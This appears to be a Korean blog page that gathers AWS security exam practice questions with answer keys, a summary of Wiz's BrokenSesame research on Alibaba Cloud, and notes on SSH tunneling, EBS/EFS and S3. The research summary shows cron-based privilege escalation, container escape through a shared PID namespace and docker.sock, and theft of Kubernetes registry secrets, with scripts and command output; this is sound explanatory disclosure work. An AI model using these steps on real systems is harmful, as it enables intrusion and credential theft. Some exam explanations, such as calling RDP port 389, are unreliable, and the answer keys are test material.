  • E. 보안 그룹을 생성합니다. 보안 그룹을 Lambda 함수에 연결합니다. 보안 그룹 ID를 통해 S3 버킷에 대한 액세스를 허용하는 버킷 정책을 연결합니다.

정답 : C, D

해설 : IAM 역할을 생성해서 버킷 정책과 연결한다.

 

02 . 

보안 엔지니어가 example.com 라는 새 웹 사이트를 구성하고 있습니다. 보안 엔지니어는 사용자가 HTTPS를 통해 example.com 에 연결하도록 요구하여 웹 사이트와의 통신을 보호하려고 합니다.
다음 중 SSL/TLS 인증서를 저장하는 데 유효한 옵션은 무엇입니까?

  • A. AWS Key Management Service(AWS KMS)에 저장된 사용자 지정 SSL 인증서
  • B. Amazon CloudFront에 저장된 기본 SSL 인증서
  • C. AWS Certificate Manager(ACM)에 저장된 사용자 지정 SSL 인증서
  • D. Amazon S3에 저장된 기본 SSL 인증서

정답 : C

해설 : ACM 은 SSL 인증서를 배포하고 관리하는 전용 서비스이다.

 

03 .

보안 엔지니어는 회사의 Amazon EC2 인스턴스에서 발생할 수 있는 보안 이벤트를 조사하고 대응하기 위한 프로세스를 개발해야 합니다. 모든 EC2 인스턴스는 Amazon Elastic Block Store(Amazon EBS)에서 지원됩니다. 이 회사는 AWS Systems Manager를 사용하여 모든 EC2 인스턴스를 관리하며 모든 EC2 인스턴스에 Systems Manager Agent(SSM Agent)를 설치했습니다.
보안 엔지니어가 개발 중인 프로세스는 AWS 보안 모범 사례를 준수해야 하며 다음 요구 사항을 충족해야 합니다.
손상된 EC2 인스턴스의 휘발성 메모리와 비휘발성 메모리는 포렌식 목적으로 보존되어야 합니다.
손상된 EC2 인스턴스의 메타데이터는 해당 인시던트 티켓 정보로 업데이트되어야 합니다.
손상된 EC2 인스턴스는 조사 중에 온라인 상태를 유지해야 하지만 맬웨어의 확산을 방지하기 위해 격리해야 합니다.
휘발성 데이터 수집 중 모든 조사 활동은 프로세스의 일부로 캡처되어야 합니다.
보안 엔지니어가 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하기 위해 수행해야 하는 단계 조합은 무엇입니까? (세 가지를 선택한다.)

  • A. 손상된 EC2 인스턴스에 대한 관련 메타데이터를 수집합니다. 종료 방지 기능을 활성화합니다. 액세스를 제한하도록 인스턴스의 보안 그룹을 업데이트하여 인스턴스를 격리합니다. 인스턴스가 속해 있는 모든 Auto Scaling 그룹에서 인스턴스를 분리합니다. Elastic Load Balancing(ELB) 리소스에서 인스턴스를 등록 취소합니다.
  • B. 손상된 EC2 인스턴스에 대한 관련 메타데이터를 수집합니다. 종료 방지 기능을 활성화합니다. 인스턴스를 모든 소스 및 대상 트래픽을 거부하는 격리 서브넷으로 이동합니다. 인스턴스를 서브넷과 연결하여 액세스를 제한합니다. 인스턴스가 속해 있는 모든 Auto Scaling 그룹에서 인스턴스를 분리합니다. Elastic Load Balancing(ELB) 리소스에서 인스턴스를 등록 취소합니다.
  • C. Systems Manager Run Command를 사용하여 휘발성 데이터를 수집하는 스크립트를 호출합니다.
  • D. 손상된 EC2 인스턴스에 대한 Linux SSH 또는 Windows 원격 데스크톱 프로토콜(RDP) 세션을 설정하여 휘발성 데이터를 수집하는 스크립트를 호출합니다.
  • E. 후속 조사를 위해 손상된 EC2 인스턴스의 EBS 볼륨에 대한 스냅샷을 생성합니다. 관련 메타데이터 및 인시던트 티켓 정보로 인스턴스에 태그를 지정합니다.
  • F. Systems Manager State Manager 연결을 생성하여 손상된 EC2 인스턴스의 EBS 볼륨 스냅샷을 생성합니다. 관련 메타데이터 및 인시던트 티켓 정보로 인스턴스에 태그를 지정합니다.

정답 : A, C, E

해설 : 현재 EC2 Instance 의 메타데이터를 수집하고, 종료 방지한 다음 네트워크 차단, 스냅샷 캡처 순으로 조사한다.

실행 중인 인스턴스를 다른 서브넷으로 옮길 수 없다. SMS 를 사용하여 백업을 할 수 있지만, 메타데이터 및 인시던트 티켓 정보로 태그를 지정하는 부분을 자동화 할 수 없다.

 

04 .

회사의 AWS Organizations에 조직이 있습니다. 이 회사는 조직에서 AWS CloudFormation StackSets를 사용하여 다양한 AWS 설계 패턴을 환경에 배포하려고 합니다. 이러한 패턴은 Amazon EC2 인스턴스, Elastic Load Balancing(ELB) 로드 밸런서, Amazon RDS 데이터베이스, Amazon Elastic Kubernetes Service(Amazon EKS) 클러스터 또는 Amazon Elastic Container Service(Amazon ECS) 클러스터로 구성됩니다.

현재 이 회사의 개발자는 자체 CloudFormation 스택을 생성하여 전반적인 전송 속도를 높일 수 있습니다. 공유 서비스 AWS 계정의 중앙 집중식 CI/CD 파이프라인은 각 CloudFormation 스택을 배포합니다.
회사의 보안 팀은 이미 내부 표준에 따라 각 서비스에 대한 요구 사항을 제공했습니다. 내부 표준을 준수하지 않는 리소스가 있는 경우 보안 팀은 적절한 조치를 취하기 위해 알림을 받아야 합니다. 보안 팀은 개발자에게 현재와 동일한 전체 제공 속도를 유지할 수 있는 기능을 제공하는 알림 솔루션을 구현해야 합니다.
가장 운영 효율적인 방식으로 이러한 요구 사항을 충족하는 솔루션은 무엇입니까?

  • A. Amazon Simple Notification Service(Amazon SNS) 주제를 생성합니다. 보안 팀의 이메일 주소를 SNS 주제에 구독합니다. CI/CD 파이프라인의 빌드 단계 전에 모든 CloudFormation 템플릿에서 aws cloudformation validate-template AWS CLI 명령을 실행할 사용자 지정 AWS Lambda 함수를 생성합니다. 문제가 발견되면 SNS 주제에 알림을 게시하도록 CI/CD 파이프라인을 구성합니다.
  • B. Amazon Simple Notification Service(Amazon SNS) 주제를 생성합니다. 보안 팀의 이메일 주소를 SNS 주제에 구독합니다. CloudFormation Guard에서 각 리소스 구성에 대한 사용자 지정 규칙을 생성합니다. CI/CD 파이프라인에서 빌드 단계 전에 CloudFormation 템플릿에서 cfn-guard 명령을 실행하도록 Docker 이미지를 구성합니다. 문제가 발견되면 SNS 주제에 알림을 게시하도록 CI/CD 파이프라인을 구성합니다.
  • C. Amazon Simple Notification Service(Amazon SNS) 주제 및 Amazon Simple Queue Service(Amazon SQS) 대기열을 생성합니다. 보안 팀의 이메일 주소를 SNS 주제에 구독합니다. 공유 서비스 AWS 계정에 Amazon S3 버킷을 생성합니다. S3 버킷에 새 객체가 추가될 때 SQS 대기열에 게시할 이벤트 알림을 포함합니다. 개발자가 CloudFormation 템플릿을 S3 버킷에 넣어야 합니다. SQS 대기열 깊이에 따라 자동으로 확장되는 EC2 인스턴스를 시작합니다. CloudFormation Guard를 사용하여 템플릿을 스캔하고 문제가 없는 경우 템플릿을 배포하도록 EC2 인스턴스를 구성합니다. 문제가 발견되면 SNS 주제에 알림을 게시하도록 CI/CD 파이프라인을 구성합니다.
  • D. 개발자가 각 AWS 계정에 배포할 수 있는 표준 리소스 세트를 포함하는 중앙 집중식 CloudFormation 스택 세트를 생성합니다. 보안 요구 사항을 충족하도록 각 CloudFormation 템플릿을 구성합니다. 새로운 리소스 또는 구성의 경우 CloudFormation 템플릿을 업데이트하고 검토를 위해 보안 팀에 템플릿을 보냅니다. 검토가 완료되면 개발자가 사용할 수 있도록 새 CloudFormation 스택을 리포지토리에 추가합니다.

정답 : A

해설 : 다른 선택지는 오버헤드가 발생한다.

 

05 . 

한 회사가 레거시 시스템 중 하나를 온프레미스 데이터 센터에서 AWS로 마이그레이션하고 있습니다. 애플리케이션 서버는 AWS에서 실행되지만 규정 준수를 위해 데이터베이스는 온프레미스 데이터 센터에 남아 있어야 합니다. 데이터베이스는 네트워크 대기 시간에 민감합니다. 또한 온프레미스 데이터 센터와 AWS 간에 이동하는 데이터에는 IPsec 암호화가 있어야 합니다.
이러한 요구 사항을 충족할 수 있는 AWS 솔루션 조합은 무엇입니까? (두 가지를 선택합니다.)

  • A. AWS Site-to-Site VPN
  • B. AWS Direct Connect
  • C. AWS VPN Cloud Hub
  • D. VPC Peering
  • E. NAT Gateway

정답 : A, B

해설 : Encryption in AWS Direct Connect - AWS Direct Connect

 

06.

한 회사에 수십 개의 Amazon DynamoDB 테이블을 사용하여 데이터를 저장하는 애플리케이션이 있습니다. 감사자는 테이블이 회사의 데이터 보호 정책을 준수하지 않는다는 것을 발견했습니다.
회사의 보존 정책에 따르면 모든 데이터는 매월 15일 자정에 한 번, 매월 25일 자정에 한 번, 두 번 백업해야 합니다. 회사는 백업을 3개월 동안 보관해야 합니다.
보안 엔지니어는 이러한 요구 사항을 충족하기 위해 어떤 단계를 조합해야 합니까? (두 가지를 선택합니다.)

  • A. DynamoDB 온디맨드 백업 기능을 사용하여 백업 계획을 생성합니다. 3개월 후에 백업이 만료되도록 수명 주기 정책을 구성합니다.
  • B. AWS DataSync를 사용하여 백업 계획을 생성합니다. 3개월의 보존 기간을 포함하는 백업 규칙을 추가합니다.
  • C. AWS Backup을 사용하여 백업 계획을 생성합니다. 3개월의 보존 기간을 포함하는 백업 규칙을 추가합니다.
  • D. cron 일정 표현식을 사용하여 백업 빈도를 설정합니다. 각 DynamoDB 테이블을 백업 계획에 할당합니다.
  • E. 속도 스케줄 표현식을 사용하여 백업 빈도를 설정합니다. 각 DynamoDB 테이블을 백업 계획에 할당합니다.

정답 : C, D

해설 : AWS Backup을 사용하여 Amazon DynamoDB에 대한 예약된 백업 설정 | Amazon Database 블로그

단순 rate schedule 표현식은 고정된 주기를 지정할 수 없다.

 

07.

회사는 다중 계정 인증 및 권한 부여를 위한 확장 가능한 솔루션을 구현하기 위해 보안 엔지니어가 필요합니다. 이 솔루션은 추가 사용자 관리 아키텍처 구성 요소를 도입해서는 안 됩니다. 네이티브 AWS 기능을 가능한 한 많이 사용해야 합니다. 보안 엔지니어가 모든 기능을 활성화하고 AWS IAM Identity Center(AWS Single Sign-On)를 활성화한 상태로 AWS Organizations를 설정했습니다.
보안 엔지니어가 작업을 완료하기 위해 수행해야 하는 추가 단계는 무엇입니까?

  • A. AD Connector를 사용하여 AWS 계정에 액세스해야 하는 모든 직원에 대한 사용자 및 그룹을 생성합니다. AD Connector 그룹을 AWS 계정에 할당하고 직원의 직무 및 액세스 요구 사항에 따라 IAM 역할에 연결합니다. 직원들에게 AWS Directory Service 사용자 포털을 사용하여 AWS 계정에 액세스하도록 지시합니다.
  • B. IAM Identity Center 기본 디렉터리를 사용하여 AWS 계정에 액세스해야 하는 모든 직원에 대한 사용자 및 그룹을 생성합니다. AWS 계정에 그룹을 할당하고 직원의 직무 및 액세스 요구 사항에 따라 권한 집합에 연결합니다. 직원에게 IAM Identity Center 사용자 포털을 사용하여 AWS 계정에 액세스하도록 지시합니다.
  • C. IAM Identity Center 기본 디렉터리를 사용하여 AWS 계정에 액세스해야 하는 모든 직원에 대한 사용자 및 그룹을 생성합니다. IAM Identity Center 그룹을 모든 계정에 있는 IAM 사용자에게 연결하여 기존 권한을 상속합니다. 직원에게 IAM Identity Center 사용자 포털을 사용하여 AWS 계정에 액세스하도록 지시합니다.
  • D. Microsoft Active Directory용 AWS 디렉터리 서비스를 사용하여 AWS 계정에 액세스해야 하는 모든 직원에 대한 사용자 및 그룹을 생성합니다. 생성된 디렉터리에서 AWS Management Console 액세스를 활성화하고 IAM Identity Center를 통합 계정 및 권한 집합에 대한 정보 소스로 지정합니다. 직원들에게 AWS Directory Service 사용자 포털을 사용하여 AWS 계정에 액세스하도록 지시합니다.

정답 : B

해설 : AWS Identity Center FAQ - Amazon Web Services(AWS)

 

08 .

한 회사에서 Amazon GuardDuty를 배포했으며 이제 잠재적 위협에 대한 자동화를 구현하려고 합니다. 이 회사는 회사의 AWS 환경에 있는 Amazon EC2 인스턴스에서 발생하는 RDP 무차별 암호 대입 공격부터 시작하기로 결정했습니다. 보안 엔지니어는 조사 및 잠재적인 수정이 이루어질 때까지 의심스러운 인스턴스에서 감지된 통신을 차단하는 솔루션을 구현해야 합니다.
이러한 요구 사항을 충족하는 솔루션은 무엇입니까?

  • A. 이벤트를 Amazon Kinesis 데이터 스트림으로 전송하도록 GuardDuty를 구성합니다. Amazon Simple Notification Service(Amazon SNS)를 통해 회사에 알림을 보내는 Amazon Kinesis Data Analytics for Apache Flink 애플리케이션을 사용하여 이벤트를 처리합니다. 네트워크 ACL에 규칙을 추가하여 의심스러운 인스턴스에서 들어오고 나가는 트래픽을 차단합니다.
  • B. 이벤트를 Amazon EventBridge로 전송하도록 GuardDuty를 구성합니다. AWS WAF 웹 ACL을 배포합니다. Amazon Simple Notification Service(Amazon SNS)를 통해 회사에 알림을 보내고 의심스러운 인스턴스에서 들어오고 나가는 트래픽을 차단하는 웹 ACL 규칙을 추가하는 AWS Lambda 함수를 사용하여 이벤트를 처리합니다.
  • C. AWS Security Hub를 활성화하여 GuardDuty 결과를 수집하고 이벤트를 Amazon EventBridge로 보냅니다. AWS Network Firewall을 배포합니다. 의심스러운 인스턴스에서 들어오고 나가는 트래픽을 차단하기 위해 Network Firewall 방화벽 정책에 규칙을 추가하는 AWS Lambda 함수를 사용하여 이벤트를 처리합니다.
  • D. AWS Security Hub를 활성화하여 GuardDuty 결과를 수집합니다. Amazon Kinesis 데이터 스트림을 Security Hub의 이벤트 대상으로 구성합니다. 의심스러운 인스턴스의 보안 그룹을 연결을 허용하지 않는 보안 그룹으로 대체하는 AWS Lambda 함수로 이벤트를 처리합니다.

정답 : C

해설 : GuardDuty 탐지를 Security Hub 로 보내는 것은 간단하고 비용 효율적이다. EventBridge 를 활용해서 데이터들을 핸들링할 수 있으며, 번거로운 Kinesis Data Stream 을 사용할 필요가 없다. WAF 는 80 포트와 443 포트만 차단하므로 RDP 389 포트는 차단할 수 없다. 보안 그룹은 의심스러운 트래픽을 차단하는데 사용하는 서비스가 아니다.

 

09 .

회사에 프로덕션 애플리케이션을 호스팅하는 AWS 계정이 있습니다. 회사는 Amazon GuardDuty가 계정에서 Impact:IAMUser/AnomalousBehavior 결과를 감지했다는 이메일 알림을 받습니다. 보안 엔지니어는 이 보안 인시던트에 대한 조사 플레이북을 실행해야 하며 애플리케이션에 영향을 주지 않고 정보를 수집하고 분석해야 합니다.
이러한 요구 사항을 가장 빠르게 충족하는 솔루션은 무엇입니까?

  • A. 읽기 전용 자격 증명을 사용하여 AWS 계정에 로그인합니다. 사용된 IAM 자격 증명에 대한 자세한 내용은 GuardDuty 결과를 검토하십시오. IAM 콘솔을 사용하여 IAM 보안 주체에 DenyAll 정책을 추가합니다.
  • B. 읽기 전용 자격 증명을 사용하여 AWS 계정에 로그인합니다. GuardDuty 결과를 검토하여 어떤 API 호출이 결과를 시작했는지 확인합니다. Amazon Detective를 사용하여 컨텍스트에서 API 호출을 검토합니다.
  • C. 관리자 자격 증명을 사용하여 AWS 계정에 로그인합니다. 사용된 IAM 자격 증명에 대한 자세한 내용은 GuardDuty 결과를 검토하십시오. IAM 콘솔을 사용하여 IAM 보안 주체에 DenyAll 정책을 추가합니다.
  • D. 읽기 전용 자격 증명을 사용하여 AWS 계정에 로그인합니다. GuardDuty 결과를 검토하여 어떤 API 호출이 결과를 시작했는지 확인합니다. AWS CloudTrail Insights 및 AWS CloudTrail Lake를 사용하여 컨텍스트에서 API 호출을 검토합니다.

정답 : B

해설 : Amazon GuardDuty를 사용하여 AWS 계정 내에서 의심스러운 활동을 탐지하는 방법 | AWS 보안 블로그

 

10 .

회사 A에는 계정 A라는 AWS 계정이 있습니다. 회사 A는 최근에 인수한 회사 B에 계정 B라는 AWS 계정이 있습니다. 회사 B는 파일을 Amazon S3 버킷에 저장합니다. 관리자는 계정 A의 사용자에게 계정 B의 S3 버킷에 대한 전체 액세스 권한을 부여해야 합니다.
관리자가 계정 A의 사용자가 계정 B의 S3 버킷에 액세스할 수 있도록 IAM 권한을 조정한 후에도 사용자는 여전히 S3 버킷의 파일에 액세스할 수 없습니다.
이 문제를 해결할 수 있는 솔루션은 무엇입니까?

  • A. 계정 B에서 버킷 ACL을 생성하여 계정 A의 사용자가 계정 B의 S3 버킷에 액세스할 수 있도록 합니다.
  • B. 계정 B에서 객체 ACL을 생성하여 계정 A의 사용자가 계정 B의 S3 버킷에 있는 모든 객체에 액세스할 수 있도록 합니다.
  • C. 계정 B에서 계정 A의 사용자가 계정 B의 S3 버킷에 액세스할 수 있도록 허용하는 버킷 정책을 생성합니다.
  • D. 계정 B에서 계정 A의 사용자가 계정 B의 S3 버킷에 액세스할 수 있도록 허용하는 사용자 정책을 생성합니다.

정답 : C

해설 : 예제 2: 버킷 소유자가 교차 계정 버킷 권한을 부여 - Amazon Simple Storage Service

 

Example 2: Bucket owner granting cross-account bucket permissions - Amazon Simple Storage Service

Account A can also directly grant a user in Account B permissions using a bucket policy. However, the user will still need permission from the parent account, Account B, to which the user belongs, even if Account B doesn't have permissions from Account A.

docs.aws.amazon.com

 

 

 
반응형

'인프라 > AWS' 카테고리의 다른 글

AWS DEA-C01 2  (0) 2025.01.27
AWS DEA-C01  (0) 2025.01.27
AWS EBS & EFS  (0) 2024.09.03
AWS S3 정리  (6) 2024.09.01
AWS Step Functions  (0) 2024.08.20
반응형

https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r

 

#BrokenSesame: Accidental ‘write’ permissions to private registry allowed potential RCE to Alibaba Cloud Database Services |

A container escape vulnerability, combined with accidental 'write' permissions to a private registry, opened a backdoor for Wiz Research to access Alibaba Cloud databases and potentially compromise its services through a supply-chain attack

www.wiz.io

 

 

공격 흐름

Privilege Escalation (권한 상승)

루트 권한으로 1분마다 바이너리를 실행하는 cronjob 발견

 

$: ls -lah /etc/cron.d/tsar 
-rw-r--r-- 1 root root 99 Apr 19  2021 /etc/cron.d/tsar 

$: cat /etc/cron.d/tsar 

# cron tsar collect once per minute 
MAILTO="" 
* * * * * root /usr/bin/tsar --cron > /dev/null 2>&1

 

cronjob 으로 실행하는 tstar 의 바이너리의 의존성을 확인해보니 사용자의 write 권한이 있는 바이너리를 실행하고 있음

(/u01/adbpg/lib/libgcc_s.so.1)

 

 

$: ls -alh /u01/adbpg/lib/libgcc_s.so.1 
-rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1

 

  • 코드를 루트로 실행할 수 있도록 SUID 권한으로 libgcc_s.so.1 파일을 복사
  • patchELF 유틸리티로 libgcc_s.so.1 라이브러리에 종속성 추가
  • libgcc_s.so.1 라이브러리를 공격 코드가 기재되어 있는 라이브러리로 덮어씌움
  • /usr/bin/tsar 라이브러리가 실행되기를 기다림

 

Container Escape (호스트 노드로 이동)

Alibaba Cloud 포털의 SSL Encryption 기능을 on / off 했을 때 수행되는 행위 조사

 

# Command lines of the spawned processes
su - adbpgadmin -c scp /home/adbpgadmin/xxx_ssl_files/* 
*REDACTED*:/home/adbpgadmin/data/master/seg-1/ 

/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes 
-- *REDACTED* scp -d -t /home/adbpgadmin/data/master/seg-1/

 

  • 생성된 프로세스 중 컨테이너에 존재하지 않는 경로가 명령줄에 포함되어 있어
  • PID 네임스페이스를 공유하는 다른 컨테이너에서 생성되고 있다고 추론

 

SCP 프로세스가 실행되기를 기다린 다음, 파일 시스템에 접근할 수 있는지 조사

 

# The Python script we used to access the second container filesystem
import psutil 
import os 
listed = set() 
while True: 
    for proc in psutil.process_iter(): 
        try: 
            processName = proc.name() 
            processID = proc.pid 
            cmdLine = proc.cmdline() 
            if processID not in listed and processName == 'scp': 
                os.system('ls -alh /proc/{}/root/'.format(processID)) 

                listed.add(processID) 
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
          pass

 

두 컨테이너가 같은 홈 디렉토리를 마운트해서 사용하고 있음을 확인

홈 디렉토리가 공유될 때마다 SSH 명령이 실행되기 때문에 로컬 SSH 클라이언트 구성 파일을 수정해서 임의의 명령을 실행 할 수 있도록 수정 (LocalCommnad 필드를 통해 구성할 수 있음)

 

 

SSL Encryption 기능을 활성화 / 비활성화하기 위해 임시로 생성된 컨테이너에서 /run/docker.sock 이 열려져 있는 것을 확인함

 

/run/docker.sock 도커 데몬을 통해 영구적으로 권한이 상승된 컨테이너를 생성. 자세한 사항은 아래 내용을 참고

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape

 

Docker Breakout / Privilege Escalation | HackTricks

If you somehow have privileged access over a process outside of the container, you could run something like nsenter --target --all or nsenter --target --mount --net --pid --cgroup to run a shell with the same ns restrictions (hopefully none) as that proces

book.hacktricks.xyz

 

Lateral Movement (측면 이동)

멀티테넌시 환경에서 다른 테넌트의 자원을 사용할 수 있었음 (측면 이동이라기 보다는 멀티 테넌시 악용)

k8s API 서버에 엑세스하여 kubectl 명령어로 다른 테넌트의 pod 를 접속하여 정보 접근이 가능했음

 

# Listing the pods inside the K8s cluster
$: /tmp/kubectl get pods 
NAME                                                                       READY   STATUS      RESTARTS   AGE 
gp-4xo3*REDACTED*-master-100333536                                      1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-master-100333537                                      1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333538                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333539                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333540                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333541                                     1/1     Running     0          5d1h 
gp-gw87*REDACTED*-master-100292154                                      1/1     Running     0          175d 
gp-gw87*REDACTED*-master-100292155                                      1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292156                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292157                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292158                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292159                                     1/1     Running     0          175d 
...

 

자격증명 탈취를 위해 docker 이미지 스펙들을 조사하던 찰나, 프라이빗 레지스트리 저장소에서 이미지를 불러오는 것을 확인함

 

# A snippet of the pods configuration, illustrating the use of a private container registry 

"spec": { 
    "containers": [ 
        { 
            "image": "*REDACTED*.eu-central-1.aliyuncs.com/apsaradb_*REDACTED*/*REDACTED*", 
            "imagePullPolicy": "IfNotPresent", 
...            
    "imagePullSecrets": [ 
        { 
            "name": "docker-image-secret" 
        } 
    ],

 

kubectl 명령어로 secret 확인

 

# Retrieving the container registry secret
$: /tmp/kubectl get secret -o json docker-image-secret 
{ 
    "apiVersion": "v1", 
    "data": { 
        ".dockerconfigjson": "eyJhdXRoc*REDACTED*" 
    }, 
    "kind": "Secret", 
    "metadata": { 
        "creationTimestamp": "2020-11-12T14:57:36Z", 
        "name": "docker-image-secret", 
        "namespace": "default", 
        "resourceVersion": "2705", 
        "selfLink": "/api/v1/namespaces/default/secrets/docker-image-secret", 
        "uid": "6cb90d8b-1557-467a-b398-ab988db27908" 
    }, 
    "type": "kubernetes.io/dockerconfigjson" 
} 

# Redacted decoded credentials
{ 
    "auths": { 
        "registry-vpc.eu-central-1.aliyuncs.com": { 
            "auth": "*REDACTED*", 
            "password": "*REDACTED*", 
            "username": "apsaradb*REDACTED*" 
        } 
    } 
}

 

컨테이너 이미지 레지스트리에 대한 자격 증명을 테스트한 결과 , 읽기 액세스 권한뿐만 아니라 쓰기 권한도 있다는 것을 발견 즉, 최소 권한의 원칙이 지켜지지 않았음

반응형
반응형

 

ssh {접속하려고 하는 서버의 계정}@{접속하려고 하는 서버의 IP 나 도메인} 명령어 형태로 실행되며 사용할 수 있는 옵션은 다음과 같다. ssh 명령어는 ssh client 에서 실행해야 한다.

 

옵션 설명
-i 개인키 파일(identity pem file)
-p 포트 번호 지정. (기본 22번 포트 번호가 아닌 다른 포트 번호를 사용할 때 사용)
-L 로컬 터널링 (로컬 포트 포워딩)
-L {로컬 포트}:{목적지 IP}:{목적지 포트} {SSH 서버의 계정}@{SSH 서버의 IP 나 도메인}
-R 리모트 터널링 (리모트 포트 포워딩)
-R {로컬 포트}:{목적지 IP}:{목적지 포트} {SSH 서버의 계정}@{SSH 서버의 IP 나 도메인}
-D 다이나믹 터널링

 

로컬 터널링과 리모트 터널링, 다이나믹 터널링에 대한 자세한 예제는 다음과 같다.

 

로컬 터널링

 

 

리모트 터널링

 

 

다이나믹 터널링

 

반응형
반응형

두 스토리지 타입 모두 인스턴스가 종료되어도 저장하기 위한 용도로 사용된다.

 

EBS

  • 네트워크 볼륨 드라이브 (USB Stick)
    • 네트워크 사용 필요
  • 하나의 인스턴스에만 마운트 가능 (advanced 한 방법으로 multi-attach 도 가능)
  • 특정 가용성 존에 연결
  • EBS Elastic Volume
    • 볼륨 사이즈 변경 가능 ( 용량은 늘릴 수 있지만 줄일 수 없음 )
    • IOPS 나 처리량만 변경 가능 
    • 가동 중지 시간 없이 바로 변경 ( 인스턴스를 재시작하거나 볼륨을 삭제하지 않아도 된다 )
  • 사용 시 주의사항
    • 기본적으 인스턴스가 종료될 때 Root EBS 볼륨도 같이 삭제된다
    • Root EBS 볼륨이 삭제되지 않으려면 'Delete on Terminated' 옵션을 비활성화한다
    • 기본적으로 다른 부착된 EBS 볼륨은 삭제되지 않는다

EFS

  • 완전관리형 NFS (Network File System)
  • 많은 인스턴스에 동시에 마운트 가능
  • POSIX 파일 시스템 (표준 파일 API)
    • AMI 기반 Linux 인스턴스에 부착 가능 (윈도우 불가능)
  • NFS v4.1 프로토콜 사용
  • Security Group 으로 Access 제어할 수 있음
  • KMS 서비스를 통한 암호화 가능
  • 용량 계획 필요 없음. 자동 스케일링 지원
  • 성능
    • NFS 에 1000 개의 세션이 동시 접근 가능하고 각각 10 GB / s 처리량 가능
    • 최대 Peta Byte 용량까지 지원 가능 자동 스케일링
  • 성능 모드
    • EFS 생성 시에 설정 가능 
    • 일반 목적 - 민감한 지연 시간이 필요한 서비스에 사용 가능 (웹 서버, CMS)
    •  Max I/O  - 더 높은 최대 처리량 / 병렬 실행 (빅데이터, 미디어 처리)
  • 처리량 모드
    • 버스팅 - 1TB 는 초당 50MB 인데 버스트는 초당 100MB 까지 상승 가
    • 프로비저닝 - 스토리지 크기에 상관 없이 처리량 설정 가능
    • 엘라스틱 - 워크로드 기반 자동 스케일링 업 / 다운 지원
      • 초당 3GB 읽기 / 초당 1GB 쓰기 업 가능
  • 클래스
    • lifecycle 정책 설정하여 일정한 기간 이후 계층 이동 가능
    • Standard - 스토리지에 자주 접근이 필요한 경우
    • IA(Infrequent Access) - 자주 접근하지 않은 경우. 더 저렴한 비용
    • Archive - 1년에 한 번 접근하는 경우. 50% 저렴한 비용
  • 가용성과 내구성
    • Standard - 여러 가용 영역에 배치. 프로덕션용으로 적합
    • One-zone - 한 개의 가용역역에 배치. 개발용으로 적합

EBS vs EFS

  EBS (Elastic Block Store) EFS (Elastic File System)
접근 가능 여부 1 개의 AZ 영역 마운트 가능 Multi-AZ 영역 마운트 가능
용량 ~ GBs ~ IOPs
(프로비저닝 필요)
사실상 무제한
(프로비저닝 불필요)
사용 사례 부팅 볼륨
트랜잭션
가상머신(VM)
데이터 공유
컨텐츠 관리
웹 서빙 (Wordpress)

 

반응형

'인프라 > AWS' 카테고리의 다른 글

AWS DEA-C01  (0) 2025.01.27
AWS SCS-02  (0) 2025.01.27
AWS S3 정리  (6) 2024.09.01
AWS Step Functions  (0) 2024.08.20
AWS Service Catalog  (0) 2024.08.19
반응형

S3 정의

  • 객체 스토리지
    • 버킷은 디렉토리, 객체는 파일과 유사
    • 객체 크기는 5TB 까지 저장
  • 무한히 스케일링이 가능
  • 버킷 이름은 모든 계정 모든 리전 통틀어 유일해야 한다
  • 버킷은 리전에 위치
  • 사용 사례
    • 아카이브 저장
    • 백업 및 장애 복구
    • 어플리케이션, 미디어 호스팅
    • 데이터 레이크
    • 정적 웹 사이트 호스팅

 

S3 복제

  CRR (Cross-Region Replication)
(교차 리전 복제)
SRR (Same-Region Replication)
(동일 리전 복제)
복제 대상 모든 오브젝트 또는 prefix 나 tag 기반 하위 오브젝트
복제 지역 다른 AWS 지역 같은 AWS 지역
목적 컴플라이언스 준수
대기 시간 최소화
다른 계정 복제
재해 복구
로그 통합
프로덕션 계정과 테스트 계정 간에 라이브 복제 구성
운영 효율성 증가
 

S3 Storage Class

스토리지 클래스 설계 이유 내구성 가용성 가용영역 최소 스토리지 기간 최소 요금 객체 크기 기타 고려 사항
S3 Standard 자주 액세스하는 데이터(한 달에 한 번 이상), 밀리초 단위의 액세스 99.999999999% 99.99% >= 3 없음 없음 없음
S3 Standard-IA 밀리초 단위의 액세스로 한 달에 한 번 이따금 액세스하는 수명이 긴 데이터 99.999999999% 99.9% >= 3 30일 128KB GB당 검색 요금이 적용됩니다.
S3 Intelligent-Tiering 알 수 없거나 변경되거나 예측할 수 없는 액세스 패턴이 있는 데이터 99.999999999% 99.9% >= 3 없음 None 객체당 모니터링 및 자동화 비용이 적용됩니다. 검색 요금이 없습니다.
S3 One Zone-IA 재생성 가능하고 자주 액세스하지 않는 데이터(한 달에 한 번), 밀리초 단위의 액세스 99.999999999% 99.5% 1 30일 128KB GB당 검색 요금이 적용됩니다. 가용 영역의 손실에 대한 복원력이 없습니다.
S3 Express One Zone 단일 AWS 가용 영역 내에서 지연 시간에 민감한 애플리케이션을 위한 10밀리초 미만의 데이터 액세스 99.999999999% 99.95% 1 None None S3 Express One Zone 객체는 선택한 단일 AWS 가용 영역에 저장됩니다.
S3 Glacier Instant Retrieval 밀리초 단위의 액세스로 분기에 한 번 액세스하는 수명이 긴 아카이브 데이터 99.999999999% 99.9% >= 3 90일 128KB GB당 검색 요금이 적용됩니다.
